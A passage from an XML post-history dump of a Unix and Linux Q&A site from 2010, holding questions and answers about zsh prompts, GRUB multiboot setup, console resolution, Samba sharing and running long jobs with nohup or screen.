all.&#xD;&#xA;" />
  <row Id="1955" PostHistoryTypeId="6" PostId="1027" RevisionGUID="6e1c21f9-a533-430f-8527-5de926d933d0" CreationDate="2010-08-22T21:24:45.637" UserId="5" Comment="edited tags" Text="ékdeàéterminalàécharacteröencodingà" />
  <row Id="1956" PostHistoryTypeId="2" PostId="1029" RevisionGUID="3a3ec028-b1fa-409a-9670-dd5b8cd880c5" CreationDate="2010-08-22T21:28:32.077" UserId="885" Text="The following settings seems to work. The text on the second line disappears if the command line overflows the first line. The `preexec` function erases the second line before running the command; if you want to keep it, change to `preexec () { echo; }`.&#xD;&#xA;&#xD;&#xA;    terminfo_down_sc=$terminfo[cud1]$terminfo[cuu1]$terminfo[sc]$terminfo[cud1]&#xD;&#xA;    PS1_2='[some status]'&#xD;&#xA;    PS1=&quot;%{$terminfo_down_sc$PS1_2$terminfo[rc]%}%~ %# &quot;&#xD;&#xA;    preexec () { print -rn -- $terminfo[el]; }&#xD;&#xA;&#xD;&#xA;`%` escapes are documented in the zsh manual (`man zshmisc`).&#xD;&#xA;&#xD;&#xA;Terminfo is a terminal access API. Zsh has a `terminfo` module that gives access to the terminal database: `$terminfo[$cap]` is the sequence of characters to send to exercise the terminal's capability `$cap`, i.e., to run its `$cap` command. See `man 5 terminfo` (on Linux, the section number may vary on other unices) for more information.&#xD;&#xA;&#xD;&#xA;The sequence of actions is: move the cursor down one line (`cud1`), then back up (`cuu1`); save the cursor position (`sc`); move the cursor down one line; print `[some status]`; restore the cursor position. The down-and-up bit at the beginning is only necessary in case the prompt is on the bottom line of the screen. The preexec line erases the second line (`el`) so that it doesn't get mixed up with output from the command.&#xD;&#xA;&#xD;&#xA;If the text on second line is wider than the terminals, the display may be garbled. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; in a pinch to repair.&#xD;&#xA;" />
  <row Id="1957" PostHistoryTypeId="5" PostId="982" RevisionGUID="bf5352f8-0edf-43c5-9714-56a71bee42e8" CreationDate="2010-08-22T23:33:26.693" UserId="701" Comment="added details, seems to be a bug" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_, _Super_, _Mod4_ for the WinKey name, none worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)&#xD;&#xA;&#xD;&#xA;Found &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-115118.html&quot;&gt;this article from 2006&lt;/a&gt; that sounds very much like the problem I'm having, though I followed the steps to fix it but didn't work for me&#xD;&#xA;&#xD;&#xA;&gt; There seems to be a bug in Gnome /&#xD;&#xA;&gt; Metacity / X somewhere that means you&#xD;&#xA;&gt; can't use SUPER_L or SUPER_R (the left&#xD;&#xA;&gt; and right windows keys on a keyboard)&#xD;&#xA;&gt; with gnome system commands such as&#xD;&#xA;&gt; &quot;Lock Screen&quot;.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://ubuntuforums.org/archive/index.php/t-519765.html&quot;&gt;another thread of the same issue I'm having&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I've been reading linux forums, it seems this might a be a bug on recent OpenSuse releases:&#xD;&#xA;&#xD;&#xA;[Many actions do not work with shortcuts in 11.3](http://forums.opensuse.org/english/get-help-here/applications/442564-many-actions-do-not-work-shortcuts-11-3-a.html)&#xD;&#xA;&#xD;&#xA;[Changing the Keyboard shortcuts in System-&gt;personal-&gt;Keyboard Shortcuts does not seem to be working.](http://forums.opensuse.org/english/get-help-here/applications/438638-changing-keyboard-shortcuts-system-personal-keyboard-shortcuts-does-not-seem-working.html)&#xD;&#xA;&#xD;&#xA;and several others" />
  <row Id="1958" PostHistoryTypeId="2" PostId="1030" RevisionGUID="9a6d38ed-733b-4485-bcf6-edde7b208dd2" CreationDate="2010-08-23T00:23:03.407" UserId="1070" Text="I'm very new to Unix, but after having become comfortable with bash over the past year and after having played with Ubuntu recently, I've decided to make my next computer run Ubuntu, and I think my wife is on board for her next computer as well.&#xD;&#xA;&#xD;&#xA;Is it easy to set up a central family server so that each computer acts as a client for the information that is stored only in a single place?  What are the options?  Are there any online how-to documents for this?" />
  <row Id="1959" PostHistoryTypeId="1" PostId="1030" RevisionGUID="9a6d38ed-733b-4485-bcf6-edde7b208dd2" CreationDate="2010-08-23T00:23:03.407" UserId="1070" Text="Setting up a family server." />
  <row Id="1960" PostHistoryTypeId="3" PostId="1030" RevisionGUID="9a6d38ed-733b-4485-bcf6-edde7b208dd2" CreationDate="2010-08-23T00:23:03.407" UserId="1070" Text="éusersàéfileöserverà" />
  <row Id="1961" PostHistoryTypeId="2" PostId="1031" RevisionGUID="9e9f5f3b-2738-46ef-9500-6acb5adbeba5" CreationDate="2010-08-23T01:48:36.930" UserId="452" Text="Install Samba and create network Samba shares on your primary Ubuntu server so you can connect all your Ubuntu and Windows PCs to the same network folder.&#xD;&#xA;&#xD;&#xA;[See documentation here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.ubuntu.com/MountWindowsSharesPermanently" />
  <row Id="1962" PostHistoryTypeId="2" PostId="1032" RevisionGUID="ac60cf06-2fef-445d-9484-c4791ed5e2e8" CreationDate="2010-08-23T01:49:36.930" UserId="220" Text="Very similar to jorelli's answer. This is what I use:&#xD;&#xA;&#xD;&#xA;    find . -regex '/ex/' -print0 | xargs -0 rm&#xD;&#xA;&#xD;&#xA;The `-print0` and `-0` arguments cause find to output a char 0 separated list and xargs to perform the `rm` command in each element of the list, so paths with spaces are not a problem." />
  <row Id="1963" PostHistoryTypeId="5" PostId="859" RevisionGUID="5178e44e-7376-4358-b336-4b5caba0508d" CreationDate="2010-08-23T02:35:07.507" UserId="392" Comment="deleted 242 characters in body" Text="I have Ubuntu 10.04 installed as my primary operating system, and I installed PC BSD in a different partition: /dev/sda4 without installing it's boot loader. I figured out that I need to edit /etc/grub.d/40_custom to add an entry for PC-BSD. So far, nothing seems to work, though.&#xD;&#xA;&#xD;&#xA;EDIT: this sort of works, but doesn't fully boot the OS, it then asks me for the MOUNTROOT partition.&#xD;&#xA;&#xD;&#xA;    menuentry &quot;PC-BSD 8.1&quot; {&#xD;&#xA;        insmod ufs2&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        kfreebsd /boot/kernel/kernel&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The selected answer below is correct. If you are dual-booting with Linux I suggest _NOT_ installing the PC-BSD bootloader as the documentation suggests, unless you enjoy pain.&#xD;&#xA;" />
  <row Id="1964" PostHistoryTypeId="2" PostId="1033" RevisionGUID="cf8e754c-5129-4073-a418-c6cdbfedc5de" CreationDate="2010-08-23T03:43:12.047" UserId="766" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am running a linux server (without xwindows or any kind of GUI), with a modern 22&quot; LCD monitor. &#xD;&#xA;&#xD;&#xA;Given the huge size of my monitor I would like to increase the number of rows and columns on my terminal, how can i go about achieving it ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**I am noobie, please pardon my ignorance." />
  <row Id="1965" PostHistoryTypeId="1" PostId="1033" RevisionGUID="cf8e754c-5129-4073-a418-c6cdbfedc5de" CreationDate="2010-08-23T03:43:12.047" UserId="766" Text="change font-size, number of rows / columns on a terminal." />
  <row Id="1966" PostHistoryTypeId="3" PostId="1033" RevisionGUID="cf8e754c-5129-4073-a418-c6cdbfedc5de" CreationDate="2010-08-23T03:43:12.047" UserId="766" Text="élinuxàéterminalà" />
  <row Id="1967" PostHistoryTypeId="2" PostId="1034" RevisionGUID="3ed49ff8-9ed0-49a6-94ca-2cc12b5dedf5" CreationDate="2010-08-23T04:00:30.473" UserId="138" Text="Add something like &quot;vga=792&quot; to the kernel line in your `grub.conf` file, usually located in `/etc` or `/boot/grub`:&#xD;&#xA;&#xD;&#xA;    title My Linux OS Name and Kernel Version Number&#xD;&#xA;        root (hd0,0)&#xD;&#xA;        kernel /boot/vmlinuz-1.2.3.4 ro root=/dev/hda1 quiet vga=792&#xD;&#xA;        initrd /boot/initrd-1.2.3.4.img&#xD;&#xA;&#xD;&#xA;You can say `vga=ask` instead to get a menu on boot, built from a probing process performed by the kernel to see which resolutions are likely to work.  I find that there are often other numbers that will work that this method doesn't find.&#xD;&#xA;&#xD;&#xA;This is all system-specific.  Different video cards will have different supported modes, and kernel build options can open up or close off video mode options.  The subsystem that deals with this is called the kernel framebuffer, so if you're compiling custom kernels, be careful not to remove the support your kernel needs to fully support your video card.  Most cards can use the VESA FB driver, but another driver specific to your brand of card might open more options.&#xD;&#xA;&#xD;&#xA;Also, beware that some parts of this subsystem use hex numbers, and others decimal.  You can do the conversion to decimal, as I've done, or you can say something like &quot;vga=0x318&quot; instead." />
  <row Id="1968" PostHistoryTypeId="2" PostId="1035" RevisionGUID="7b7f67cd-1228-4601-bcbb-fd38f74cb7e3" CreationDate="2010-08-23T04:55:21.823" UserId="1111" Text="[GRUB2 Bootloader Full tutorial][1] is a good place to start on multi boot configurations with GRUB2.  &#xD;&#xA;&lt;sup&gt;If you are familiar with GRUB, jump straight to the [5th][2] or [6th][3] section.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;There is also a Superuser question on [Setting up a multiboot system with GRUB][4].&#xD;&#xA;&#xD;&#xA;The technique works on flash drives too as long as your machine can boot from them.  &#xD;&#xA;I have been [working off flash drives for some time now][5]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dedoimedo.com/computers/grub-2.html&#xD;&#xA;  [2]: http://www.dedoimedo.com/computers/grub-2.html#mozTocId928097&#xD;&#xA;  [3]: http://www.dedoimedo.com/computers/grub-2.html#mozTocId980832&#xD;&#xA;  [4]: http://superuser.com/questions/178492/setting-up-a-multi-boot-system-with-grub&#xD;&#xA;  [5]: http://superuser.com/questions/681/booting-linux-off-usb-pendrives" />
  <row Id="1969" PostHistoryTypeId="5" PostId="1035" RevisionGUID="c9be370d-9463-42d5-a575-566e91bfd1a0" CreationDate="2010-08-23T05:07:41.337" UserId="1111" Comment="added 175 characters in body" Text="[GRUB2 Bootloader Full tutorial][1] is a good place to start on multi boot configurations with GRUB2.  &#xD;&#xA;&lt;sup&gt;If you are familiar with GRUB, jump straight to the [5th][2] or [6th][3] section.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;There is also a Superuser question on [Setting up a multiboot system with GRUB][4].  &#xD;&#xA;&lt;sup&gt;There is also a Ubuntu [MultiOSBoot][5] community page which suggests you should stick to the Legacy GRUB.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;The technique works on flash drives too as long as your machine can boot from them.  &#xD;&#xA;I have been [working off flash drives for some time now][6]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dedoimedo.com/computers/grub-2.html&#xD;&#xA;  [2]: http://www.dedoimedo.com/computers/grub-2.html#mozTocId928097&#xD;&#xA;  [3]: http://www.dedoimedo.com/computers/grub-2.html#mozTocId980832&#xD;&#xA;  [4]: http://superuser.com/questions/178492/setting-up-a-multi-boot-system-with-grub&#xD;&#xA;  [5]: https://help.ubuntu.com/community/MultiOSBoot&#xD;&#xA;  [6]: http://superuser.com/questions/681/booting-linux-off-usb-pendrives" />
  <row Id="1970" PostHistoryTypeId="2" PostId="1036" RevisionGUID="adde958c-2835-4b7d-816a-7e6e3a884733" CreationDate="2010-08-23T05:11:37.727" UserDisplayName="Mark D" Text="My personal favorite is &#xD;&#xA;&#xD;&#xA;find . -name &lt;filename&gt; | xargs grep -in '&lt;pattern to search for&gt;'&#xD;&#xA;&#xD;&#xA;What the above command does is find a file of name x and then searches said file for whatever pattern you are looking for. Incredibly useful if you are looking for a particular bit of code in a file that's somewhere in your subdirectories." />
  <row Id="1971" PostHistoryTypeId="16" PostId="1036" RevisionGUID="adde958c-2835-4b7d-816a-7e6e3a884733" CreationDate="2010-08-23T05:11:37.727" UserId="-1" />
  <row Id="1972" PostHistoryTypeId="2" PostId="1037" RevisionGUID="8526ba99-360c-439c-938d-1609effaea44" CreationDate="2010-08-23T05:34:17.877" UserId="1113" Text="Hello everyone. I'm new to Linux, and I'm probably asking a fairly basic question. How do I run a continuous program on Linux? &#xD;&#xA;&#xD;&#xA;Basically, I have a program that will continuously check for content on a website. This program will be executing for several days. I do not have administrative privileges on the computer I wish to run this program on, and I do not have exclusive access to this computer either, meaning that other users can log on physically. Moreover, barring some untold disaster, the computer will be running for the entire duration of my program.&#xD;&#xA;&#xD;&#xA;I know that I can SSH into the machine and run the program. However, this is not desirable as I would need a second machine to do it (which kind of defeats the point of what I'm doing), not to mention timeout issues. &#xD;&#xA;&#xD;&#xA;Is there a way I can run my program on the computer remotely without establishing a connection of some sort after I get it started?" />
  <row Id="1973" PostHistoryTypeId="1" PostId="1037" RevisionGUID="8526ba99-360c-439c-938d-1609effaea44" CreationDate="2010-08-23T05:34:17.877" UserId="1113" Text="Running continuous jobs remotely." />
  <row Id="1974" PostHistoryTypeId="3" PostId="1037" RevisionGUID="8526ba99-360c-439c-938d-1609effaea44" CreationDate="2010-08-23T05:34:17.877" UserId="1113" Text="éloginàéremoteömanagementà" />
  <row Id="1975" PostHistoryTypeId="2" PostId="1038" RevisionGUID="f151fa27-bcb9-4115-ab2c-61c7d897add5" CreationDate="2010-08-23T05:39:25.293" UserId="73" Text="You need to do two things:&#xD;&#xA;&#xD;&#xA;1. Run the command with `nohup`. This stops the remote machine from terminating the command when you disconnect&#xD;&#xA;2. Run the command in the background, by appending `&amp;`. This isn't strictly necessary, but will return you to a shell instead of blocking on the command so you can disconnect normally or do other things&#xD;&#xA;&#xD;&#xA;So  for the command `command`:&#xD;&#xA;&#xD;&#xA;    nohup command &amp;" />
  <row Id="1976" PostHistoryTypeId="2" PostId="1039" RevisionGUID="e2657070-a511-40ff-ab65-be2364e4597f" CreationDate="2010-08-23T06:08:45.667" UserId="558" Text="`nohup` is definitely the right way to go if you can run your program without interacting with it: if it writes all its output and error messages into a file that you can get to later, for instance.&#xD;&#xA;&#xD;&#xA;If you need to interact with the program while it's running, [GNU Screen][1] might be the better way to go about it. It lets you create a virtual terminal which remains running even after you log out, along with any programs you started in it, as long as nobody shuts the computer down. [Here's a tutorial][2] I found on using it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GNU_Screen&#xD;&#xA;  [2]: http://www.enterpriseitplanet.com/security/features/article.php/3800756/SSH-at-Work-Manage-Long-Running-Processes-with-screen.htm" />
  <row Id="1977" PostHistoryTypeId="5" PostId="1029" RevisionGUID="59700e4a-83f9-4f96-af71-d59cc78585f1" CreationDate="2010-08-23T06:25:30.957" UserId="885" Comment="typos" Text="The following settings seem to work. The text on the second line disappears if the command line overflows the first line. The `preexec` function erases the second line before running the command; if you want to keep it, change to `preexec () { echo; }`.&#xD;&#xA;&#xD;&#xA;    terminfo_down_sc=$terminfo[cud1]$terminfo[cuu1]$terminfo[sc]$terminfo[cud1]&#xD;&#xA;    PS1_2='[some status]'&#xD;&#xA;    PS1=&quot;%{$terminfo_down_sc$PS1_2$terminfo[rc]%}%~ %# &quot;&#xD;&#xA;    preexec () { print -rn -- $terminfo[el]; }&#xD;&#xA;&#xD;&#xA;`%` escapes are documented in the zsh manual (`man zshmisc`).&#xD;&#xA;&#xD;&#xA;Terminfo is a terminal access API. Zsh has a `terminfo` module that gives access to the terminal description database: `$terminfo[$cap]` is the sequence of characters to send to exercise the terminal's capability `$cap`, i.e., to run its `$cap` command. See `man 5 terminfo` (on Linux, the section number may vary on other unices) for more information.&#xD;&#xA;&#xD;&#xA;The sequence of actions is: move the cursor down one line (`cud1`), then back up (`cuu1`); save the cursor position (`sc`); move the cursor down one line; print `[some status]`; restore the cursor position. The down-and-up bit at the beginning is only necessary in case the prompt is on the bottom line of the screen. The preexec line erases the second line (`el`) so that it doesn't get mixed up with output from the command.&#xD;&#xA;&#xD;&#xA;If the text on the second line is wider than the terminal, the display may be garbled. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; in a pinch to repair.&#xD;&#xA;" />
  <row Id="1978" PostHistoryTypeId="2" PostId="1040" RevisionGUID="530c46bc-541b-48eb-b6d9-9ba0f5a19799" CreationDate="2010-08-23T06:34:59.113" UserId="29" Text="If it is something that needs to happen at regularly scheduled intervals use `cron`( e.g. you need to check the website once every hour, or once every day, or more or less frequently than that but still not arbitrarily defined).&#xD;&#xA;&#xD;&#xA;However... You may want to run a command at a cerain later time rather than *right now*, for that you want to use the `at` daemon, which allows you to run a command once at a later date/time (like it's 5 o'clock and you want to go home but you've got a 4 hour process that would be best run in the middle of the night, and it's not reoccurring).&#xD;&#xA;&#xD;&#xA;I will say `nohup`, `screen` , `tmux` have been mentioned, use `nohup` if you want to run it right now but don't want to reconnnect to that session to check on it later. `screen`/`tmux` are for checking on it later." />
  <row Id="1979" PostHistoryTypeId="2" PostId="1041" RevisionGUID="fae60e20-b68b-41b6-b1cc-af28e8acb2f3" CreationDate="2010-08-23T06:38:39.260" UserId="171" Text="You got me curious how this would be done. [The Pendrivelinux site had a tutorial][1] I did this from my Mint 9 install instead of a live cd as the site suggests.&#xD;&#xA;&#xD;&#xA; I started with finding the location of my USB drive&#xD;&#xA;in a terminal I ran `df` it returned the location of the device as&#xD;&#xA;&#xD;&#xA;&gt; /dev/sdg1   /media/LINUXUSB&#xD;&#xA;&#xD;&#xA;after that I ran &#xD;&#xA;&#xD;&#xA;    sudo su&#xD;&#xA;&#xD;&#xA;and then to install grub 2&#xD;&#xA;&#xD;&#xA;    grub-install --no-floppy --force --root-directory=/media/LINUXUSB /dev/sdg1&#xD;&#xA;&#xD;&#xA;I had to use --force additionally, the example on the site did not. Then I did &#xD;&#xA;&#xD;&#xA;    cd /media/LINUXUSB/boot/grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; The site gave a link to download a copy of grub.cfg to the /boot/grub directory on my USB drive.  The link was&#xD;&#xA;&#xD;&#xA;&gt; wget&#xD;&#xA;&gt; http://pendrivelinux.com/downloads/grub.cfg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After that I edited grub.cfg to reflect the iso's on my USB drive.&#xD;&#xA;&#xD;&#xA;&gt; set timeout=10 set default=0&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Fedora&quot; {  loopback&#xD;&#xA;&gt; loop /Fedora13.iso  linux&#xD;&#xA;&gt; (loop)/isolinux/vmlinuz0 boot=casper&#xD;&#xA;&gt; iso-scan/filename=/Fedora13.iso splash&#xD;&#xA;&gt; --  initrd (loop)/isolinux/initrd0.img }&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Ubuntu&quot; {  loopback&#xD;&#xA;&gt; loop /ubuntu-10.04-netbook-i386.iso &#xD;&#xA;&gt; linux (loop)/casper/vmlinuz&#xD;&#xA;&gt; boot=casper&#xD;&#xA;&gt; iso-scan/filename=/ubuntu-10.04-netbook-i386.iso&#xD;&#xA;&gt; splash --  initrd&#xD;&#xA;&gt; (loop)/casper/initrd.lz }&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Clonezilla&quot; {  loopback&#xD;&#xA;&gt; loop /clonezilla.iso  linux&#xD;&#xA;&gt; (loop)/live/vmlinuz boot=casper&#xD;&#xA;&gt; iso-scan/filename=/clonezilla.iso&#xD;&#xA;&gt; splash --  initrd&#xD;&#xA;&gt; (loop)/live/initrd.img }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I found that in the different iso's, vmlinuz and initrd were located in a different directory. I was able to get all three to start the boot process; but, only Ubuntu to actually load. If I figure out what I need to get the other two to finish loading, I will add that later. I have not tried any other iso's just these three. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/install-grub2-on-usb-from-ubuntu-linux/&#xD;&#xA;" />
  <row Id="1980" PostHistoryTypeId="2" PostId="1042" RevisionGUID="134db294-f42a-4d3f-af0a-44a7d9d3e6aa" CreationDate="2010-08-23T06:53:54.050" UserId="29" Text="This is my current prompt definition&#xD;&#xA;&#xD;&#xA;    PS1=$'%F{063}%1~%f %(1v.%F{099}%1v %f.)%F{063}%%%f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;and I'm working on integrating [this][1]. basically I'm starting to find it very unreadable.&#xD;&#xA;&#xD;&#xA;is there any way that I can make it multiline in a way perhaps similar to what Perl cand do with regex's (e.g what /x mode does. like `m{ ... }x`. the `...` can be multiline in that)? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt" />
  <row Id="1981" PostHistoryTypeId="1" PostId="1042" RevisionGUID="134db294-f42a-4d3f-af0a-44a7d9d3e6aa" CreationDate="2010-08-23T06:53:54.050" UserId="29" Text="is there a way to make the prompt definition multiline?" />
  <row Id="1982" PostHistoryTypeId="3" PostId="1042" RevisionGUID="134db294-f42a-4d3f-af0a-44a7d9d3e6aa" CreationDate="2010-08-23T06:53:54.050" UserId="29" Text="écommandölineàéshellàézshàépromptà" />
  <row Id="1983" PostHistoryTypeId="5" PostId="1041" RevisionGUID="802a381e-c851-4715-a00e-b75be1f3b799" CreationDate="2010-08-23T06:54:51.413" UserId="171" Comment="edit to grub.cfg" Text="You got me curious how this would be done. [The Pendrivelinux site had a tutorial][1] I did this from my Mint 9 install instead of a live cd as the site suggests.&#xD;&#xA;&#xD;&#xA; I started with finding the location of my USB drive&#xD;&#xA;in a terminal I ran `df` it returned the location of the device as&#xD;&#xA;&#xD;&#xA;&gt; /dev/sdg1   /media/LINUXUSB&#xD;&#xA;&#xD;&#xA;after that I ran &#xD;&#xA;&#xD;&#xA;    sudo su&#xD;&#xA;&#xD;&#xA;and then to install grub 2&#xD;&#xA;&#xD;&#xA;    grub-install --no-floppy --force --root-directory=/media/LINUXUSB /dev/sdg1&#xD;&#xA;&#xD;&#xA;I had to use --force additionally, the example on the site did not. Then I did &#xD;&#xA;&#xD;&#xA;    cd /media/LINUXUSB/boot/grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; The site gave a link to download a copy of grub.cfg to the /boot/grub directory on my USB drive.  The link was&#xD;&#xA;&#xD;&#xA;&gt; wget&#xD;&#xA;&gt; http://pendrivelinux.com/downloads/grub.cfg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After that I edited grub.cfg to reflect the iso's on my USB drive.&#xD;&#xA;&#xD;&#xA;&gt; set timeout=10 set default=0&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Fedora&quot; {  loopback&#xD;&#xA;&gt; loop /Fedora13.iso  linux&#xD;&#xA;&gt; (loop)/isolinux/vmlinuz0 boot=isolinux&#xD;&#xA;&gt; iso-scan/filename=/Fedora13.iso splash&#xD;&#xA;&gt; --  initrd (loop)/isolinux/initrd0.img }&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Ubuntu&quot; {  loopback&#xD;&#xA;&gt; loop /ubuntu-10.04-netbook-i386.iso &#xD;&#xA;&gt; linux (loop)/casper/vmlinuz&#xD;&#xA;&gt; boot=casper&#xD;&#xA;&gt; iso-scan/filename=/ubuntu-10.04-netbook-i386.iso&#xD;&#xA;&gt; splash --  initrd&#xD;&#xA;&gt; (loop)/casper/initrd.lz }&#xD;&#xA;&gt; &#xD;&#xA;&gt; menuentry &quot;Run Clonezilla&quot; {  loopback&#xD;&#xA;&gt; loop /clonezilla.iso  linux&#xD;&#xA;&gt; (loop)/live/vmlinuz boot=live&#xD;&#xA;&gt; iso-scan/filename=/clonezilla.iso&#xD;&#xA;&gt; splash --  initrd&#xD;&#xA;&gt; (loop)/live/initrd.img }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I found that in the different iso's, vmlinuz and initrd were located in a different directory. I was able to get all three to start the boot process; but, only Ubuntu to actually load. If I figure out what I need to get the other two to finish loading, I will add that later. I have not tried any other iso's just these three. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/install-grub2-on-usb-from-ubuntu-linux/&#xD;&#xA;" />
  <row Id="1984" PostHistoryTypeId="5" PostId="1042" RevisionGUID="7133c6a7-59b3-4bf6-a70d-c8cfdff71ce2" CreationDate="2010-08-23T07:20:11.877" UserId="29" Comment="give end result examplish" Text="This is my current prompt definition&#xD;&#xA;&#xD;&#xA;    PS1=$'%F{063}%1~%f %(1v.%F{099}%1v %f.)%F{063}%%%f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;and I'm working on integrating [this][1]. basically I'm starting to find it very unreadable.&#xD;&#xA;&#xD;&#xA;is there any way that I can make it multiline in a way perhaps similar to what Perl cand do with regex's (e.g what /x mode does. like `m{ ... }x`. the `...` can be multiline in that)? &#xD;&#xA;&#xD;&#xA;something like this&#xD;&#xA;&#xD;&#xA;    PS1=$'&#xD;&#xA;       %F{063}%1 # format blue&#xD;&#xA;          ~      # show current directory&#xD;&#xA;       %f&#xD;&#xA;       %(1v.%F{099}%1v %f.) # show git branch if git repo in purple&#xD;&#xA;       %F{063}   # format blue&#xD;&#xA;          %#     # % for user and # for root&#xD;&#xA;       %f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt" />
  <row Id="1985" PostHistoryTypeId="2" PostId="1043" RevisionGUID="addd2d24-734f-49e9-8f23-e8c3185f290a" CreationDate="2010-08-23T07:23:47.360" UserId="659" Text="Some applications (mostly those of GNU origin) come with '[info][1]' pages. &#xD;&#xA;&#xD;&#xA;These pages usually contain a more in-depth manual of the application, and lots of extra information which you can find very useful for learning. To see if the info documentation for an application is installed, just type 'info xxx' (if the manual is not installed it will load the manpage instead). &#xD;&#xA;&#xD;&#xA;In Ubuntu at least, info pages are in a separate foo-doc package, where foo is the name of the application (ie. gcc, make, etc).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And yes, the browser is lame.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/texinfo/" />
  <row Id="1986" PostHistoryTypeId="16" PostId="1043" RevisionGUID="addd2d24-734f-49e9-8f23-e8c3185f290a" CreationDate="2010-08-23T07:23:47.360" UserId="-1" />
  <row Id="1987" PostHistoryTypeId="5" PostId="999" RevisionGUID="616c0cef-be09-4f62-aae5-ea5831f47776" CreationDate="2010-08-23T07:31:17.610" UserId="728" Comment="avoid aliasing the default commands; deleted 7 characters in body" Text="There is no undo in the command line. You can however, run commands as `rm -i` and `mv -i`. This will prompt you with an &quot;are you sure?&quot; question before they execute the command.&#xD;&#xA;&#xD;&#xA;It's also possible to add an alias for it to a startup script (e.g. `~/.bashrc` or `/etc/bash.bashrc`):&#xD;&#xA;&#xD;&#xA;    alias remove='rm -i'&#xD;&#xA;    alias move='mv -i'&#xD;&#xA;&#xD;&#xA;Edit: by the suggestions below, I've removed my advice to alias the default commands. Instead, it introduces new commands now)." />
  <row Id="1988" PostHistoryTypeId="2" PostId="1044" RevisionGUID="31b81f9f-2a5f-4ce9-9015-2446e68fc698" CreationDate="2010-08-23T07:40:48.590" UserId="659" Text="Are you sure your mplayer is configured with vdpau support? If unsure, add this ppa to your sources and install the mplayer package: [ppa:rvm/mplayer][1]&#xD;&#xA;&#xD;&#xA;To make sure you're using VDPAU, try this (assuming ALSA sound here, YMMV):&#xD;&#xA;&#xD;&#xA;    mplayer -ao alsa -vo vdpau -vc ffmpeg12vdpau,ffh264vdpau,ffwmv3vdpau,ffvc1vdpau,ffodivx, foo.avi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;VDPAU uses hardware-accelerated playback, so the CPU shouldn't be really busy while playing a video file. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/~rvm/+archive/mplayer" />
  <row Id="1989" PostHistoryTypeId="2" PostId="1045" RevisionGUID="5d0bbca1-4ed6-4d27-96d0-763fd6c2f968" CreationDate="2010-08-23T08:30:37.257" UserId="29" Text="I have 256 colors working just fine in `konsole,` I thought I'd give `tmux` a try because unlike screen it seems to support `vi` mode.  However I find that the colors of my prompt show up, this i most likely because I have a 256 color mode prompt. what do I need to do to get `tmux` to recognize all 256 colors" />
  <row Id="1990" PostHistoryTypeId="1" PostId="1045" RevisionGUID="5d0bbca1-4ed6-4d27-96d0-763fd6c2f968" CreationDate="2010-08-23T08:30:37.257" UserId="29" Text="getting 256 colors to work in tmux" />
